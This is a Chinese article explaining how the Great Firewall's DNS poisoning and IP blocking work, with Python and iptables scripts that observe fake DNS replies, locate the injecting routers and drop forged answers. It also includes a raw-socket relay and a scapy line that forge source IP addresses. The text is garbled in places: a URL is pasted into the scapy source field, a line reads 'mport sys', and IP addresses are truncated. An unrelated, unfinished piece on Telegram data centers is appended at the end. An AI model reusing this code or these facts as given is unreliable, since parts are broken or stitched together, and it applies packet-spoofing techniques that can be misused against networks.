前面从原理上讲解了GFW的运作原理。翻墙的原理与之相对应,分为两大类。第一类是大家普遍的使用的绕道的方式。IP包经由第三方中转已加密的形式通过GFW的检查。这样的一种做法更像“翻”墙,是从墙外绕过去的。第二类是找出GFW检测过程的中一些BUG,利用这些BUG让GFW无法知道准确的会话内容从而放行。这种做法更像“穿”墙。曾经引起一时轰动的西厢计划第一季就是基于这种方式的实现。
基于绕道法的翻墙方式无论是VPN还是代理,原理都是类似的。都是以国外有一个代理服务器为前提,然后你与代理服务器通信,代理服务器再与目标服务器通信。
绕道法对于IP封锁来说,因为最终的IP包是由代理服务器在墙外发出的,所以国内骨干路由封IP并不会产生影响。对于TCP重置来说,因为TCP重置是以入侵检测为前提的,客户端与代理之间的加密通信规避了入侵检测,使得TCP重置不会被触发。
但是对于反DNS污染来说,VPN和代理代理却有不同。基于VPN的翻墙方法,得到正确的DNS解析的结果需要设置一个国外的没有被污染的DNS服务器。然后发UDP请求去解析域名的时候,VPN会用绕道的方式让UDP请求不被劫持地通过GFW。
但是SOCKS代理和HTTP代理这些更上层的代理协议则可以选择不同的方式。因为代理与应用之间有更紧密的关系,应用程序比如浏览器可以把要访问的服务器的域名直接告诉本地的代理。然后SOCKS代理可以选择不在本地做解析,直接把请求发给墙外的代理服务器。在代理服务器去与目标服务器做连接的时候再在代理服务器上做DNS解析,从而避开了GFW的DNS劫持。
VPN与代理的另外一个主要区别是应用程序是如何使用上代理去访问国外的服务器的。先来看不加代理的时候,应用程序是如何访问网络的。
应用程序把IP包交给操作系统,操作系统会去决定把包用机器上的哪块网卡发出去。VPN的客户端对于操作系统来说就是一个虚拟出来的网卡。应用程序完全不用知道VPN客户端的存在,操作系统甚至也不需要区分VPN客户端与普通网卡的区别。
VPN客户端在启动之后会把操作系统的缺省路由改成自己。这样所有的IP包都会经由这块虚拟的网卡发出去。这样VPN就能够再打包成加密的流量发出去(当然线路还是之前的线路),发回去的加密流量再解密拆包交还给操作系统。
应用层的代理则不同。其流量走不走代理的线路并不是由操作系统使用路由表选择网卡来决定的,而是在应用程序里自己做的。也就是说,对于操作系统来说,使用代理的TCP连接和不使用代理的TCP连接并没有任何的不同。应用程序自己去选择是直接与目标服务器建立连接,还是与代理服务器建立TCP连接,然后由SOCKS代理服务器去建立第二个TCP连接,两个TCP连接的数据由代理服务器中转。
绕道法的翻墙原理就是这些了,相对来说非常简单。其针对的都是GFW的分析那一步,通过加密使得GFW无法分析出流量的原文从而让GFW放行。但是GFW最近的升级表明,GFW虽然无法解密这些加密的流量,但是GFW可以结合流量与其他协议特征探测出这些流量是不是“翻墙”的,然后就直接暴力的切断。绕道法的下一步发展就是要从原理弄明白,GFW是如何分析出翻墙流量的,从而要么降低自身的流量特征避免上短名单被协议分析,或者通过混淆协议把自己伪装成其他的无害流量。
我们要做的第一个实验是用python代码观测到DNS劫持的全过程。
dig是DNS的客户端,可以很方便地构造出我们想要的DNS请求。 dig @8.8.8.8 twitter.com
。可以得到相应如下:
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5494
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;twitter.com. IN A
;; ANSWER SECTION:
twitter.com. 4666 IN A 59.24.3.173
;; Query time: 110 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Sun Jan 13 13:22:10 2013
;; MSG SIZE rcvd: 45
可以很清楚地看到我们得到的错误答案59.24.3.173。
使用iptables我们可以让特定的IP包经过应用层的代码,从而使得我们用python观测DNS查询过程提供了可能。代码如下:
from netfilterqueue import NetfilterQueue
import subprocess
import signal
def observe_dns_hijacking(nfqueue_element):
print('packet past through me')
nfqueue_element.accept()
nfqueue = NetfilterQueue()
nfqueue.bind(0, observe_dns_hijacking)
def clean_up(*args):
subprocess.call('iptables -D OUTPUT -p udp --dst 8.8.8.8 -j QUEUE', shell=True)
subprocess.call('iptables -D INPUT -p udp --src 8.8.8.8 -j QUEUE', shell=True)
signal.signal(signal.SIGINT, clean_up)
try:
subprocess.call('iptables -I INPUT -p udp --src 8.8.8.8 -j QUEUE', shell=True)
subprocess.call('iptables -I OUTPUT -p udp --dst 8.8.8.8 -j QUEUE', shell=True)
print('running..')
nfqueue.run()
except KeyboardInterrupt:
print('bye')
执行此脚本,再使用dig @8.8.8.8 twitter.com
应该可以看到package past through me。这就说明DNS的请求和答案都经过了python代码了。
上一步主要是验证NetfilterQueue是不是工作正常。这一步则要靠dpkt的了。代码如下:
from netfilterqueue import NetfilterQueue
import subprocess
import signal
import dpkt
import traceback
import socket
def observe_dns_hijacking(nfqueue_element):
try:
ip_packet = dpkt.ip.IP(nfqueue_element.get_payload())
dns_packet = dpkt.dns.DNS(ip_packet.udp.data)
print(repr(dns_packet))
for answer in dns_packet.an:
print(socket.inet_ntoa(answer['rdata']))
nfqueue_element.accept()
except:
traceback.print_exc()
nfqueue_element.accept()
nfqueue = NetfilterQueue()
nfqueue.bind(0, observe_dns_hijacking)
def clean_up(*args):
subprocess.call('iptables -D OUTPUT -p udp --dst 8.8.8.8 -j QUEUE', shell=True)
subprocess.call('iptables -D INPUT -p udp --src 8.8.8.8 -j QUEUE', shell=True)
signal.signal(signal.SIGINT, clean_up)
try:
subprocess.call('iptables -I INPUT -p udp --src 8.8.8.8 -j QUEUE', shell=True)
subprocess.call('iptables -I OUTPUT -p udp --dst 8.8.8.8 -j QUEUE', shell=True)
print('running..')
nfqueue.run()
except KeyboardInterrupt:
print('bye')
执行此脚本,再使用dig @8.8.8.8 twitter.com应该可以看到类似如下的输出:
DNS(ar=[RR(type=41, cls=4096)], qd=[Q(name='twitter.com')], id=8613, op=288)
DNS(an=[RR(name='twitter.com', rdata=';\x18\x03\xad', ttl=19150)], qd=[Q(name='twitter.com')], id=8613, op=33152)
.24.3.173
DNS(an=[RR(name='twitter.com', rdata='\xc7;\x95\xe6', ttl=27), RR(name='twitter.com', rdata='\xc7;\x96\x07', ttl=27), RR(name='twitter.com', rdata="\xc7;\x96'", ttl=27)], ar=[RR(type=41, cls=512)], qd=[Q(name='twitter.com')], id=8613, op=33152)
.59.149.230
.59.150.7
.59.150.39
可以看到我们发出去了一个包,收到了两个包。其中第一个收到的包是GFW发回来的错误答案,第二个包才是正确的答案。但是由于dig只取第一个返回的答案,所以我们实际看到的解析结果是错误的。
利用IP包的TTL特性,我们可以把TTL值从1开始递增,直到我们收到错误的应答为止。结合TTL EXECEEDED ICMP返回的IP地址,就可以知道DNS请求是在第几跳的路由器分光给GFW的。代码如下:
from netfilterqueue import NetfilterQueue
import subprocess
import signal
import dpkt
import traceback
import socket
import sys
DNS_IP = '8.8.8.8'
# source http://zh.wikipedia.org/wiki/%E5%9F%9F%E5%90%8D%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%BC%93%E5%AD%98%E6%B1%A1%E6%9F%93
WRONG_ANSWERS = {
'4.36.66.178',
'8.7.198.45',
'37.61.54.158',
'46.82.174.68',
'59.24.3.173',
'64.33.88.161',
'64.33.99.47',
'64.66.163.251',
'65.104.202.252',
'65.160.219.113',
'66.45.252.237',
'72.14.205.99',
'72.14.205.104',
'78.16.49.15',
'93.46.8.89',
'128.121.126.139',
'159.106.121.75',
'169.132.13.103',
'192.67.198.6',
'202.106.1.2',
'202.181.7.85',
'203.161.230.171',
'207.12.88.98',
'208.56.31.43',
'209.36.73.33',
'209.145.54.50',
'209.220.30.174',
'211.94.66.147',
'213.169.251.35',
'216.221.188.182',
'216.234.179.13'
}
current_ttl = 1
def locate_dns_hijacking(nfqueue_element):
global current_ttl
try:
ip_packet = dpkt.ip.IP(nfqueue_element.get_payload())
if dpkt.ip.IP_PROTO_ICMP == ip_packet['p']:
print(socket.inet_ntoa(ip_packet.src))
elif dpkt.ip.IP_PROTO_UDP == ip_packet['p']:
if DNS_IP == socket.inet_ntoa(ip_packet.dst):
ip_packet.ttl = current_ttl
current_ttl += 1
ip_packet.sum = 0
nfqueue_element.set_payload(str(ip_packet))
else:
if contains_wrong_answer(dpkt.dns.DNS(ip_packet.udp.data)):
sys.stdout.write('* ')
sys.stdout.flush()
nfqueue_element.drop()
return
else:
print('END')
nfqueue_element.accept()
except:
traceback.print_exc()
nfqueue_element.accept()
def contains_wrong_answer(dns_packet):
for answer in dns_packet.an:
if socket.inet_ntoa(answer['rdata']) in WRONG_ANSWERS:
return True
return False
nfqueue = NetfilterQueue()
nfqueue.bind(0, locate_dns_hijacking)
def clean_up(*args):
subprocess.call('iptables -D OUTPUT -p udp --dst %s -j QUEUE' % DNS_IP, shell=True)
subprocess.call('iptables -D INPUT -p udp --src %s -j QUEUE' % DNS_IP, shell=True)
subprocess.call('iptables -D INPUT -p icmp -m icmp --icmp-type 11 -j QUEUE', shell=True)
signal.signal(signal.SIGINT, clean_up)
try:
subprocess.call('iptables -I INPUT -p icmp -m icmp --icmp-type 11 -j QUEUE', shell=True)
subprocess.call('iptables -I INPUT -p udp --src %s -j QUEUE' % DNS_IP, shell=True)
subprocess.call('iptables -I OUTPUT -p udp --dst %s -j QUEUE' % DNS_IP, shell=True)
print('running..')
nfqueue.run()
except KeyboardInterrupt:
print('bye')
执行 dig +tries=30 +time=1 @8.8.8.8 twitter.com
可以得到类似下面的输出:
.158.100.166
.158.11.150
* 219.158.97.30
* * 219.158.27.30
* 72.14.215.130
* 209.85.248.60
* 216.239.43.19
* * END
出现*号前面的那个IP就是挂了GFW的路由了。脚本只能执行一次,第二次需要重启。另外同一个DNS不能被同时查询,把8.8.8.8改成你没有在用的DNS。这个脚本的一个“副作用”就是dig返回的答案是正确的了,因为错误的答案被丢弃了。
前面我们已经知道从国内请求国外的DNS服务器大体是怎么一个被劫持的过程了。接下来我们在国内搭建一个服务器,从国外往国内发请求,看看是不是可以观测到被劫持的现象。
把路由器的WAN口的防火墙打开。配置本地的dnsmasq为使用非标准端口代理查询从而保证本地做dig查询的时候可以拿到正确的结果。然后在国外的服务器上执行dig @国内路由器ip twitter.com
可以看到收到的答案是错误的。执行前面的路由跟踪代码,结果如下:
.160.187.13
.248.76.73
.158.33.181
.158.29.129
.158.19.165
* 219.158.96.225
* * * 219.158.101.233
END
可以看到不但有DNS劫持,而且DNS劫持发生在非常靠近国内路由器的位置。这也证实了论文中提出的观测结果。GFW并没有严格地部署在出国境前第一跳的位置,而是更加靠前。并且是双向的,至少DNS劫持是双向经过实验证实了。
这个实验就非常简单了。使用53之外的端口查询DNS,观测是否有错误答案被返回。
使用的DNS服务器是OpenDNS,端口为5353端口。使用非标准端口的DNS服务器不多,并不是所有的DNS服务器都会提供非标准端口供查询。结果如下:
; <<>> DiG 9.9.1-P3 <<>> @208.67.222.222 -p 5353 twitter.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5367
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 8192
;; QUESTION SECTION:
;twitter.com. IN A
;; ANSWER SECTION:
twitter.com. 5 IN A 199.59.150.39
twitter.com. 5 IN A 199.59.148.82
twitter.com. 5 IN A 199.59.148.10
;; Query time: 194 msec
;; SERVER: 208.67.222.222#5353(208.67.222.222)
;; WHEN: Mon Jan 14 11:47:46 2013
;; MSG SIZE rcvd: 88
可见,非标准端口还是可以得到正确结果的。但是这种穿墙并不能被应用程序直接使用,因为几乎所有的应用程序都不支持使用非标准端口查询。有很多种办法把端口变成53端口能用:
iptables -t nat -I OUTPUT --dst 208.67.222.222 -p udp --dport 53 -j DNAT --to-destination 208.67.222.222:5353
这个实验就更加简单了,也是一条命令:
dig +tcp @8.8.8.8 twitter.com
GFW在日常是不屏蔽TCP的DNS查询的,所以可以得到正确的结果。但是和非标准端口一样,几乎所有的应用程序都不支持使用TCP查询。已知的TCP转UDP方式是使用pdnsd或者unbound转。
但是GFW现在不屏蔽TCP的DNS查询并不代表GFW不能这么干。做一个小实验:
root@OpenWrt:~# dig +tcp @8.8.8.8 dl.dropbox.com
;; communications error to 8.8.8.8#53: connection reset
可以看到GFW是能够知道你在查询什么的。与HTTP关键字过滤一样,一旦发现查询的内容不恰当,立马就发RST包过来切断连接。那么为什么GFW不审查所有的TCP的DNS查询呢?原因很简单,用TCP查询的绝对少数,尚不值得这么去干。而且就算你能查询到正确域名,GFW自认为还有HTTP关键字过滤和封IP等后着守着呢,犯不着在DNS上卡这么死。
严格来说单向代理并不是穿墙,因为它仍然需要在国外有一个代理服务器。使用代理服务器把DNS查询发出去,但是DNS查询并不经由代理服务器而是直接发回客户端。这样的实现在目前有更好的反劫持的手段(比如非标准端口)的情况下并不是一个有实际意义的做法。但是对于观测GFW的封锁机制还是有帮助的。据报道在敏感时期,对DNS不仅仅是劫持,而是直接丢包。通过单向代理可以观测丢包是针对出境流量的还是入境流量的。
客户端需要使用iptables把DNS请求转给NetfilterQueue,然后用python代码把DNS请求包装之后发给中转代理。对于应用程序来说,这个包装的过程是透明的,它仍然认为请求是直接发给DNS服务器的。
客户端代码如下:
from netfilterqueue import NetfilterQueue
import subprocess
import signal
import traceback
import socket
IMPERSONATOR_IP = 'x.x.x.x'
IMPERSONATOR_PORT = 19840
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
def smuggle_packet(nfqueue_element):
try:
original_packet = nfqueue_element.get_payload()
print('smuggled')
udp_socket.sendto(original_packet, (IMPERSONATOR_IP, IMPERSONATOR_PORT))
nfqueue_element.drop()
except:
traceback.print_exc()
nfqueue_element.accept()
nfqueue = NetfilterQueue()
nfqueue.bind(0, smuggle_packet)
def clean_up(*args):
subprocess.call('iptables -D OUTPUT -p udp --dst 8.8.8.8 --dport 53 -j QUEUE', shell=True)
signal.signal(signal.SIGINT, clean_up)
try:
subprocess.call('iptables -I OUTPUT -p udp --dst 8.8.8.8 --dport 53 -j QUEUE', shell=True)
print('running..')
nfqueue.run()
except KeyboardInterrupt:
print('bye')
服务器端代码如下:
import socket
import dpkt.ip
def main_loop(server_socket, raw_socket):
while True:
packet_bytes, from_ip = server_socket.recvfrom(4096)
packet = dpkt.ip.IP(packet_bytes)
dst = socket.inet_ntoa(packet.dst)
print('%s:%s => %s:%s' % (socket.inet_ntoa(packet.src), packet.data.sport, dst, packet.data.dport))
raw_socket.sendto(packet_bytes, (dst, 0))
server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
server_socket.bind(('0.0.0.0', 19840))
raw_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
try:
raw_socket.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
main_loop(server_socket, raw_socket)
finally:
raw_socket.close()
finally:
server_socket.close()
在路由器上运行的时候要把WAN的防火墙规则改为接受INPUT,否则进入的UDP包会因为没有对应的出去的UDP包而被过滤掉。这是单向代理的一个缺陷,需要在墙上开洞。把防火墙整个打开是一种开洞的极端方式。后面专门讨论单向代理的时候会有更多关于防火墙凿洞的讨论。
第二个运行的条件是服务器所在的网络没有对IP SPROOFING做过滤。服务器实际上使用了和GFW发错误答案一样的技术,就是伪造SRC地址。通过把SRC地址填成客户端所在的IP地址,使得DNS查询的结果不需要经过代理服务器中装直接到达客户端。
前两种方式都是针对GFW的重建这一步。因为GFW没有在日常的时候监听所有UDP端口以及监听TCP流量,所以非标准端口或者TCP的DNS查询可以被放行。选择性丢包则针对的是GFW的应对措施。既然GFW发错误的答案回来,只要我们不认它给的答案,等正确的答案来就是了。
代码如下:
mport sys
import subprocess
# source http://zh.wikipedia.org/wiki/%E5%9F%9F%E5%90%8D%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%BC%93%E5%AD%98%E6%B1%A1%E6%9F%93
WRONG_ANSWERS = {
'4.36.66.178',
'8.7.198.45',
'37.61.54.158',
'46.82.174.68',
'59.24.3.173',
'64.33.88.161',
'64.33.99.47',
'64.66.163.251',
'65.104.202.252',
'65.160.219.113',
'66.45.252.237',
'72.14.205.99',
'72.14.205.104',
'78.16.49.15',
'93.46.8.89',
'128.121.126.139',
'159.106.121.75',
'169.132.13.103',
'192.67.198.6',
'202.106.1.2',
'202.181.7.85',
'203.161.230.171',
'207.12.88.98',
'208.56.31.43',
'209.36.73.33',
'209.145.54.50',
'209.220.30.174',
'211.94.66.147',
'213.169.251.35',
'216.221.188.182',
'216.234.179.13'
}
rules = ['-p udp --sport 53 -m u32 --u32 "4 & 0x1FFF = 0 && 0 >> 22 & 0x3C @ 8 & 0x8000 = 0x8000 && 0 >> 22 & 0x3C @ 14 = 0" -j DROP']
for wrong_answer in WRONG_ANSWERS:
hex_ip = ' '.join(['%02x' % int(s) for s in wrong_answer.split('.')])
rules.append('-p udp --sport 53 -m string --algo bm --hex-string "|%s|" --from 60 --to 180 -j DROP' % hex_ip)
try:
for rule in rules:
print(rule)
subprocess.call('iptables -I INPUT %s' % rule, shell=True)
print('running..')
sys.stdin.readline()
except KeyboardInterrupt:
print('bye')
finally:
for rule in reversed(rules):
subprocess.call('iptables -D INPUT %s' % rule, shell=True)
本地有了这些iptables规则之后就可以丢弃掉GFW发回来的错误答案,从而得到正确的解析结果。这个脚本用到了两个iptables模块一个是u32一个是string。这两个内核模块不是所有的linux机器都有的。比如大部分的Android手机都没有这两个内核模块。所以上面的脚本适合内核模块很容易安装的场景,比如你的ubuntu pc。因为linux的内核模块与内核版本(每次编译基本都不同)是一一对应的,所以不同的linux机器是无法共享同样的内核模块的。所以基于内核模块的方案天然地具有安装困难的缺陷。
对于没有办法自己安装或者编译内核模块的场景,比如最常见的Android手机,厂家不告诉你内核的具体版本以及编译参数,普通用户是没有办法重新编译linux内核的。对于这样的情况,iptables提供了nfqueue,我们可以把内核模块做的ip过滤的工作交给用户态(也就是普通的应用程序)来完成。
CLEAN_DNS = '8.8.8.8'
RULES = []
for iface in network_interface.list_data_network_interfaces():
# this rule make sure we always query from the "CLEAN" dns
RULE_REDIRECT_TO_CLEAN_DNS = (
{'target': 'DNAT', 'iface_out': iface, 'extra': 'udp dpt:53 to:%s:53' % CLEAN_DNS},
('nat', 'OUTPUT', '-o %s -p udp --dport 53 -j DNAT --to-destination %s:53' % (iface, CLEAN_DNS))
)
RULES.append(RULE_REDIRECT_TO_CLEAN_DNS)
RULE_DROP_PACKET = (
{'target': 'NFQUEUE', 'iface_in': iface, 'extra': 'udp spt:53 NFQUEUE num 1'},
('filter', 'INPUT', '-i %s -p udp --sport 53 -j NFQUEUE --queue-num 1' % iface)
)
RULES.append(RULE_DROP_PACKET)
# source http://zh.wikipedia.org/wiki/%E5%9F%9F%E5%90%8D%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%BC%93%E5%AD%98%E6%B1%A1%E6%9F%93
WRONG_ANSWERS = {
'4.36.66.178',
'8.7.198.45',
'37.61.54.158',
'46.82.174.68',
'59.24.3.173',
'64.33.88.161',
'64.33.99.47',
'64.66.163.251',
'65.104.202.252',
'65.160.219.113',
'66.45.252.237',
'72.14.205.99',
'72.14.205.104',
'78.16.49.15',
'93.46.8.89',
'128.121.126.139',
'159.106.121.75',
'169.132.13.103',
'192.67.198.6',
'202.106.1.2',
'202.181.7.85',
'203.161.230.171',
'203.98.7.65',
'207.12.88.98',
'208.56.31.43',
'209.36.73.33',
'209.145.54.50',
'209.220.30.174',
'211.94.66.147',
'213.169.251.35',
'216.221.188.182',
'216.234.179.13',
'243.185.187.39'
}
def handle_nfqueue():
try:
nfqueue = NetfilterQueue()
nfqueue.bind(1, handle_packet)
nfqueue.run()
except:
LOGGER.exception('stopped handling nfqueue')
dns_service_status.error = traceback.format_exc()
def handle_packet(nfqueue_element):
try:
ip_packet = dpkt.ip.IP(nfqueue_element.get_payload())
dns_packet = dpkt.dns.DNS(ip_packet.udp.data)
if contains_wrong_answer(dns_packet):
# after the fake packet dropped, the real answer can be accepted by the client
LOGGER.debug('drop fake dns packet: %s' % repr(dns_packet))
nfqueue_element.drop()
return
nfqueue_element.accept()
dns_service_status.last_activity_at = time.time()
except:
LOGGER.exception('failed to handle packet')
nfqueue_element.accept()
def contains_wrong_answer(dns_packet):
if dpkt.dns.DNS_A not in [question.type for question in dns_packet.qd]:
return False # not answer to A question, might be PTR
for answer in dns_packet.an:
if dpkt.dns.DNS_A == answer.type:
resolved_ip = socket.inet_ntoa(answer['rdata'])
if resolved_ip in WRONG_ANSWERS:
return True # to find wrong answer
else:
LOGGER.info('dns resolve: %s => %s' % (dns_packet.qd[0].name, resolved_ip))
return False # if the blacklist is incomplete, we will think it is right answer
return True # to find empty answer
其原理是一样的,过滤所有的DNS应答,如果发现是错误的答案就丢弃。因为是基于nfqueue的,所以只要linux内核支持nfqueue,而且iptables可以添加nfqueue的target,就可以使用以上方式来丢弃DNS错误答案。目前已经成功在主流的android手机上运行该程序,并获得正确的DNS解析结果。另外,上面的实现利用iptables的重定向能力,达到了更换本机dns服务器的目的。无论机器设置的dns服务器是什么,通过上面的iptables规则,统统给你重定向到干净的DNS(8.8.8.8)。
自此DNS穿墙的讨论基本上就完成了。DNS劫持是所有GFW封锁手段中最薄弱的一环,有很多种方法都可以穿过。如果不想写代码,用非标准端口是最容易的部署方式。如果愿意部署代码,用nfqueue丢弃错误答案是最可靠通用的方式,不依赖于特定的服务器。
首先使用dig获得twitter.com的ip地址:
; <<>> DiG 9.9.1-P3 <<>> +tcp @8.8.8.8 twitter.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8015
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;twitter.com. IN A
;; ANSWER SECTION:
twitter.com. 7 IN A 199.59.149.230
twitter.com. 7 IN A 199.59.150.39
twitter.com. 7 IN A 199.59.150.7
根据前面的内容我们知道使用dns over tcp,大部分的域名解析都不会被干扰的。这里得到了三个ip地址。先来测试199.59.149.230
traceroute to 199.59.149.230 (199.59.149.230), 30 hops max, 38 byte packets
123.114.32.1 19.862 ms 4.267 ms 101.431 ms
61.148.163.73 920.148 ms 5.108 ms 3.868 ms
124.65.56.129 7.596 ms 7.742 ms 7.735 ms
123.126.0.133 5.310 ms 7.745 ms 7.573 ms
* * *
* * *
这个结果是最常见的。在骨干路由器上,针对这个ip丢包了。这种封锁方式就是最传统的封IP方式,BGP路由扩散,现象就是针对上行流量的丢包。再来看199.59.150.39
traceroute to 199.59.150.39 (199.59.150.39), 30 hops max, 38 byte packets
123.114.32.1 14.046 ms 20.322 ms 19.918 ms
61.148.163.229 7.461 ms 7.182 ms 7.540 ms
124.65.56.157 4.491 ms 3.342 ms 7.260 ms
123.126.0.93 6.715 ms 7.309 ms 7.438 ms
219.158.4.126 5.326 ms 3.217 ms 3.596 ms
219.158.98.10 3.508 ms 3.606 ms 4.198 ms
219.158.33.254 140.965 ms 133.414 ms 136.979 ms
129.250.4.107 132.847 ms 137.153 ms 134.207 ms
61.213.145.166 253.193 ms 253.873 ms 258.719 ms
199.16.159.15 257.592 ms 258.963 ms 256.034 ms
199.16.159.55 267.503 ms 268.595 ms 267.590 ms
199.59.150.39 266.584 ms 259.277 ms 263.364 ms
在我撰写的时候,这个ip还没有被封。但是根据经验,twitter.com享受了最高层次的GFW关怀,新的ip基本上最慢也是隔日被封的。不过通过这个traceroute可以看到219.158.4.126其实就是那个之前捣乱的服务器,包是在它手里被丢掉的(严格来说并不一定是219.158.4.126,因为ip包经过的路由对于不同的目标ip设置不同的端口都可能会不一样)。再来看199.59.150.7
traceroute to 199.59.150.7 (199.59.150.7), 30 hops max, 38 byte packets
123.114.32.1 11.379 ms 10.420 ms 23.008 ms
61.148.163.229 6.102 ms 6.777 ms 7.373 ms
61.148.153.61 5.638 ms 3.148 ms 3.235 ms
123.126.0.9 3.473 ms 3.306 ms 3.216 ms
219.158.4.198 2.839 ms !H * 6.136 ms !H
这次同样是封IP,但是现象不同。通过抓包可以观察到是什么问题:
:46:11.355913 IP (tos 0x0, ttl 251, id 0, offset 0, flags [none], proto ICMP (1), length 56)
.158.4.198 > 123.114.40.44: ICMP host r-199-59-150-7.twttr.com unreachable, length 36
IP (tos 0x0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 38)
.114.40.44.45021 > r-199-59-150-7.twttr.com.33449: UDP, length 10
原来219.158.4.198发回来了一个ICMP包,内容是地址不可到达(unreachable)。于是traceroute就在那里断掉了。
如果把unreachable类型的ICMP包丢弃掉,会发现ip包仍然过不去
traceroute to 199.59.150.7 (199.59.150.7), 30 hops max, 38 byte packets
123.114.32.1 4.866 ms 3.165 ms 3.212 ms
61.148.163.229 3.107 ms 3.104 ms 3.270 ms
61.148.153.61 6.001 ms 7.246 ms 7.398 ms
123.126.0.9 7.840 ms 7.223 ms 7.443 ms
* * *
这次就和被丢包了是一样的观测现象了。
同时,可以看到我们仍然是收到了icmp地址不可到达的包的,只是被我们drop掉了。
之前的观测中,被封的ip是ip包的dst。如果我们从国外往国内发包,其src是被封的ip,那么ip包是否会被GFW过滤掉呢?登录到一台国外的vps上执行下面的python代码:
from scapy.all import *
send(IP(src="http://drops.wooyun.org/papers/199.59.150.7", dst="123.114.40.44")/ICMP())
然后在国内的路由器上执行抓包程序
tcpdump: listening on pppoe-wan, link-type LINUX_SLL (Linux cooked), capture size 65535 bytes
:41:14.294671 IP (tos 0x0, ttl 50, id 1, offset 0, flags [none], proto ICMP (1), length 28)
r-199-59-150-7.twttr.com > 123.114.40.44: ICMP echo request, id 0, seq 0, length 8
:41:14.294779 IP (tos 0x0, ttl 64, id 25013, offset 0, flags [none], proto ICMP (1), length 28)
.114.40.44 > r-199-59-150-7.twttr.com: ICMP echo reply, id 0, seq 0, length 8
可以看到,如果该ip是src而不是dst并不会被GFW过滤。这一行为有两种可能:要么GFW认为封dst就可以了,不屑于再封src了。另外一种可能是GFW封twitter的IP用的是路由表扩散技术,而传统的路由表是基于dst做路由判断的(高级的路由器可以根据src甚至端口号做为路由的依据),所以dst路由表导致的路由黑洞并不会影响该ip为src的情况。我相信是后者,但是GFW在封个人翻墙主机上所表现的实力(对大量的ip做精确到端口的全国性丢包)让我们相信,GFW很容易把封锁变成双向的。不过说实话,在这个硬实力的背后,靠的更多的是CISCO下一代骨干网路由器的超强处理能力,而不是GFW自身。
因为GFW对IP的封锁是针对上行流量的,所以使得单向代理就可以突破封锁。上行的IP包经过单向代理转发给目标服务器,下行的IP包直接由目标服务器发回给客户端。代码与DNS(UDP协议)的单向代理是一样的。因为单向代理利用的是IP协议,所以TCP与UDP都是一样的。除了单向代理,目前尚没有其他的办法穿过GFW访问被封的IP,只能使用传统的翻墙技术,代理或者VPN这些。
GFW与网民之间已经或者即将形成某种稳态,这种稳态是双方斗争状况下的动态平衡,是需要有意识维护的。一个无法控制的网络是无法被政府所容忍的,当网络无法控制时政府是不吝于切断一切网络的(你一定知道我在说什么),稳态的破坏也就意味着环境的毁灭。一个理想的稳态就是网络处于“看起来”可以控制的状态,让GFW处于不断取得小型封锁成功的虚幻胜利感之中,网民个人各自掌握非中心化的翻墙方法。一个中心化的大众翻墙方法(最典型的例子就是设置hosts静态解析)必定无法避免被当局发现并被GFW封锁。下一代的翻墙方法应该是去中心化的(p2p)、小众的、多样化的、混合型的、动态更新的。
本文转自:https://dev.moe/2564
Telegram 号称有 5 个数据中心(DC, Data Center),在 Telegram 代码与文档中被称作 DC 1~5。其中 DC1 与 DC3 位于美国的迈阿密(Miami, USA);DC2 与 DC4 位于荷兰的阿姆斯特丹(Amsterdam, NL);DC5 位于新加坡(Singapore)。
每个帐号都会在注册时关联一个 DC,此后不随用户更改手机号或地理位置迁移。用户也不能自由选用 DC——如果连接到了错误的 DC,服务端会返回错误信息,要求客户端连接到帐号所关联的正确 DC 上。
在 5 个 DC 中,DC5 在 Telegram 中文圈格外知名——并不是因为它默默无闻服务了大量的中文用户,而是因为它经常宕机。
当 DC5 宕机时,身处 DC5 的用户无法使用 Telegram,此时的 Telegram 圈内的话题往往会变成 「DC5 怎么又挂啦」。DC5 用户只能等待自己不断「重连中」的客户端恢复后,再与其他 DC 的群友们一起批判 DC5。
为了满足群友们的好奇心,有人写了个 bot(机器人),可以查询用户所处的 DC。于是群友们开始查起了自己的 DC:
通过搜索 bot 的消息,用户位于 DC1 的有 360 条,DC4 有 50 条,DC5 有 390 条。DC2 与 DC3 有 0 条。
通过搜索 bot 消息的「大数据查询」,我们发现似乎真的没有来自 DC2 与 DC3 的用户。
于是,有人推测 DC2 与 DC3 皆无用户,也有人分析后推测 DC2 与 DC3 分别是 DC1 与 DC4 的附属 DC,会在其上级 DC 繁忙时接受用户注册。
真的是这样吗?
也就是说,DC2 实际上关联着大量用户,且像其他 DC 一样,只要用户注册时,手机号的国家代码落在 DC2 负责的范围内(如 +49 德国),该用户就一定会进入 DC2。而 DC3 虽然仍在正常运行,但可能已无关联用户。
既然有大量用户位于 DC2 ,为何上文的 bot 从未发现过来自 DC2 的用户呢?
这是因为 bot 获取 DC 的方式出了问题。
目前常用的 DC 获取方法有 3 种,下文将注册一个 DC2 的新帐号,实际尝试一下这 3 种方法。
们使用会被分配到 DC2 的手机号,通过 Telegram MTProto 协议
(这也是官方客户端使用的协议)连接 DC1,调用 auth.sendCode
接口,尝试发送验证码,注册一个账号。
此时服务端会返回 PHONE_MIGRATE_2
错误,提示客户端应当要连接 DC2(如果连接 DC2 后进行同样操作,便会直接发送验证码)。
